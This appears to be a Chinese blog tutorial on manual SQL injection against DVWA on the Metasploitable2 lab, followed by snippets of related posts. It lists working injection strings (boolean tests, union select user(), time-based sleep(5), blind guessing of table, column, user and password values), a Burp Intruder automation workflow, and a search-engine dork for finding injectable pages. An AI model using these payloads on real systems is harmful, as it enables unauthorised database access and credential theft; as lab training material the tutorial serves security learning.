SQL手工注入原理(二)

2021-09-29 18:42:54 字數 1919 閱讀 4539

靶機——metasploitable2

sql手工注入原理(一)

low等級:

<?php

if (isset($_get['submit']))

} ?>

此時瀏覽器不會返回資料庫報錯資訊!

正常輸入

錯誤輸入

不會提示錯誤!

1' and 1=1--

1' and 1=2--

1' or 1=1--

1' or 1=2--

1' order by 3--

1' order by 2--

1' union select user(),2#

……其他和第一篇原理一類似了!

[--後面要加個空格,其實也可以把 -- 換成 #]

看過第一篇的小夥伴就會問了,為什麼前面要有個1 ,一定需要嗎?

在盲注的時候,因為你不確定你後面那條語句是否成立,最好是要傳入乙個正確的存在的引數。

基於時間盲注:sleep()

1' and sleep(5)--

1' or sleep(5)--

判斷主要是依據瀏覽器的反應時間!

發現瀏覽器等待了 5s 才有反應

特別注意:

因為靶機上執行的資料庫是以 root 許可權執行的,所以在第一篇原理篇裡的 union ,order by等語句是可以執行的。

但如果目標伺服器執行資料庫的許可權只是個普通使用者,那些語句就無法被執行了!

無權讀取 information_schema庫 / 拒絕union,order by語句

解決方法:

猜列名: 1' and user is not null--

猜當前表的表名: 1' and table.user is not null-- table:表的名字

猜庫里其他表表名: 1' and (select count(*) from table)>0--

列表對應關係: 1' and users.user is not null--

猜欄位內容: 1' and user='admin

1' or user like '%a%

猜賬號對應密碼: 2' or user='admn' and password='kcshanbd

猜的時候可以用 burpsuite 自動化

發現瀏覽器向伺服器以 get 方式發起請求,把需要 猜解 的內容傳送到 ==intruder ==

注:這個部分不需要勾選(不需要對字典裡的符號進行url編碼)

發起攻擊後,檢視結果

其餘猜解自動化與上面類似。

sql手工注入原理

純粹一些個人練習心得,所以今天就寫一篇部落格記錄一下 數值型 1.url輸入 and 1 1 and 1 2 回顯頁面不同 整形判斷 如果頁面執行錯誤,則說明此 sql 注入為數字型注入。因為當我們輸入 and 1 1時,後台執行 sql 語句 如 select from 表名 where id x...

SQL手工注入

site xx.cn inurl asp?id 找文章 xx.cn pth onews.asp?id 243 試注入 xx.cn pth onews.asp?id 243 order by 10 xx.cn pth onews.asp?id 243 order by 20 order by 語句用於...

sql 注入手工實現二

這一節沒有什麼用,就是用來熟悉命令的 目標 1.order by 18 訂購18 存在18個表 2.聯合查詢,判斷可回顯資料位置,結果,可回顯位置為2,9,14 3.user 檢視當前使用者,version 檢視版本,database 檢視庫名 當前使用者為root使用者具有最高許可權 當前資料庫為...